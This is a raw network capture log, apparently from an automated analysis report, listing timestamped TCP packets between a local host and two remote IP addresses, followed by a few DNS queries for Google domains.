Dec 8, 2024 00:49:03.800127029 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.800158978 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.800205946 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.801058054 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.801115036 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.801181078 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.801223993 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.802057981 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.802165031 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.802218914 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.803025007 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.803128004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.803204060 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.804012060 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.804064989 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.804117918 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.805010080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.805066109 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.805093050 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.805610895 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.805994034 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.806109905 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.806157112 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.806973934 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.807095051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.807149887 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.807970047 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.808022022 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.808059931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.808953047 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.809007883 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.809050083 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.809485912 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.809947968 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.810055971 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.810112000 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.810961962 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.811063051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.811115026 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.811923981 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.811985016 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.812019110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.812941074 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.812999010 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.813020945 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.813055038 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.813926935 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.814030886 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.814095020 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.814888000 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.814934015 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.814991951 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.815077066 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.815881014 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.815922976 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.815977097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.816040039 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.816870928 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.816915035 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.816978931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.817023993 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.817856073 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.817898989 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.817961931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.818017960 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.819056034 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.819098949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.819227934 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.819272995 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.819834948 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.819880962 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.819931984 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.819983006 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.820822001 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.820864916 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.820936918 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.820979118 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.821849108 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.821892023 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.821921110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.821969032 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.822791100 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.822833061 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.822885990 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.822927952 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.823791981 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.823832989 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.823879004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.823921919 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.824781895 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.824821949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.824855089 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.824929953 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.825782061 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.825824022 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.825872898 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.825917959 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.826744080 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.826787949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.826853037 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.826895952 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.827734947 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.827780962 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.827812910 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.827861071 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.828723907 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.828766108 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.828820944 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.828859091 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.947302103 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.947326899 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.947339058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:03.947393894 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.947438955 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:03.961131096 CET	443	49841	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.967015982 CET	49841	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:03.967041969 CET	443	49841	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:03.970407963 CET	49841	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:03.970412016 CET	443	49841	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.066833973 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.068733931 CET	443	49842	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.068835974 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.080097914 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.080112934 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.080163002 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.112040043 CET	49842	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.158385038 CET	49842	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.158406019 CET	443	49842	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.158777952 CET	49842	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.158782959 CET	443	49842	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.186274052 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186288118 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186299086 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186310053 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186317921 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186321020 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186331987 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186332941 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186352968 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186362982 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186374903 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186402082 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186587095 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186604023 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186618090 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186621904 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186630011 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186633110 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186645985 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186646938 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186660051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.186662912 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186676979 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.186691046 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.187473059 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187484980 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187494993 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187505960 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187510967 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.187517881 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187529087 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.187530994 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187544107 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.187555075 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.187587023 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.188361883 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188375950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188385010 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188396931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188406944 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188407898 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.188416004 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.188419104 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188430071 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.188441992 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.188462973 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.189265966 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.189276934 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.189287901 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.189299107 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.189302921 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.189311028 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.189318895 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.189337015 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.189361095 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.190082073 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190093994 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190104961 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190115929 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190128088 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190140963 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.190145016 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190159082 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190169096 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.190195084 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.190963984 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190977097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190977097 CET	443	49843	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.190987110 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190999985 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.190999985 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.191010952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191023111 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191031933 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.191056967 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.191699028 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191709995 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191716909 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191726923 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191732883 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191745996 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.191751003 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.191770077 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.191790104 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.192576885 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192590952 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192600012 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192610979 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192614079 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.192624092 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192626953 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.192636967 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192648888 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.192661047 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.192670107 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.193444967 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193456888 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193465948 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193476915 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193486929 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193490028 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.193500042 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193511009 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.193521976 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.193531036 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.193555117 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.194231033 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194267035 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.194313049 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194324017 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194340944 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194344997 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.194348097 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194355011 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.194372892 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.194403887 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.195202112 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195214033 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195225000 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195235014 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.195236921 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195249081 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195255995 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.195261002 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195272923 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.195276976 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.195301056 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.195317984 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.196078062 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196089983 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196100950 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196111917 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196121931 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196121931 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.196134090 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196140051 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.196145058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196161032 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.196173906 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.196645975 CET	49843	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.196666002 CET	443	49843	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.196953058 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196965933 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196975946 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196986914 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.196997881 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197000027 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197000027 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197010040 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197031021 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197047949 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197436094 CET	49843	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.197441101 CET	443	49843	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.197720051 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197753906 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197767973 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197779894 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197789907 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.197809935 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.197848082 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.198246956 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198260069 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198270082 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198282003 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198290110 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.198292017 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198297977 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.198306084 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.198326111 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.198338032 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.199134111 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.199146032 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.199156046 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.199181080 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.199204922 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.200093031 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200103998 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200114965 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200128078 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200202942 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.200783968 CET	49845	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.200817108 CET	443	49845	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.200867891 CET	49845	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.200867891 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200881004 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200892925 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200905085 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200913906 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.200917006 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200928926 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200932026 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.200942039 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.200957060 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.200979948 CET	49835	80	192.168.2.7	185.215.113.16
Dec 8, 2024 00:49:04.201018095 CET	49845	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:49:04.201031923 CET	443	49845	13.107.246.63	192.168.2.7
Dec 8, 2024 00:49:04.201710939 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.201729059 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.201740026 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.201751947 CET	80	49835	185.215.113.16	192.168.2.7
Dec 8, 2024 00:49:04.201752901 CET	49835	80	192.168.2.7	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 8, 2024 00:48:17.257034063 CET	192.168.2.7	1.1.1.1	0x8729	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:48:17.257209063 CET	192.168.2.7	1.1.1.1	0x8bf2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 8, 2024 00:48:24.765841007 CET	192.168.2.7	1.1.1.1	0x2394	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 8, 2024 00:48:24.769227028 CET	192.168.2.7	1.1.1.1	0x60c7	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 8, 2024 00:48:24.786537886 CET	192.168.2.7	1.1.1.1	0xc52	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
